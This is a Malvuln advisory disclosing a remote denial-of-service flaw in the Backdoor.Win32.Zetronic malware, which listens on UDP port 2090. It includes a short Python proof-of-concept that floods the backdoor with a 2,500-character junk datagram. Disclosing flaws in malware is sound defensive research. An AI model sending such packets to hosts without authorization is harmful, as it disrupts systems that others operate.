Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/caf26a74ca39662e2c3d37e55a242daf.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zetronic Vulnerability: Remote DoS Description: Zetronic listens on UDP port 2090, sending a large datagram packet of junk results in denial of service of the backdoor. Type: PE32 MD5: caf26a74ca39662e2c3d37e55a242daf Vuln ID: MVID-2021-0057 Disclosure: 01/28/2021 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=2090 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) DOS="GET /"+"A"*2500 s.send(DOS) s.close() print("Backdoor.Win32.Zetronic / Remote DoS") print("MD5: caf26a74ca39662e2c3d37e55a242daf") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).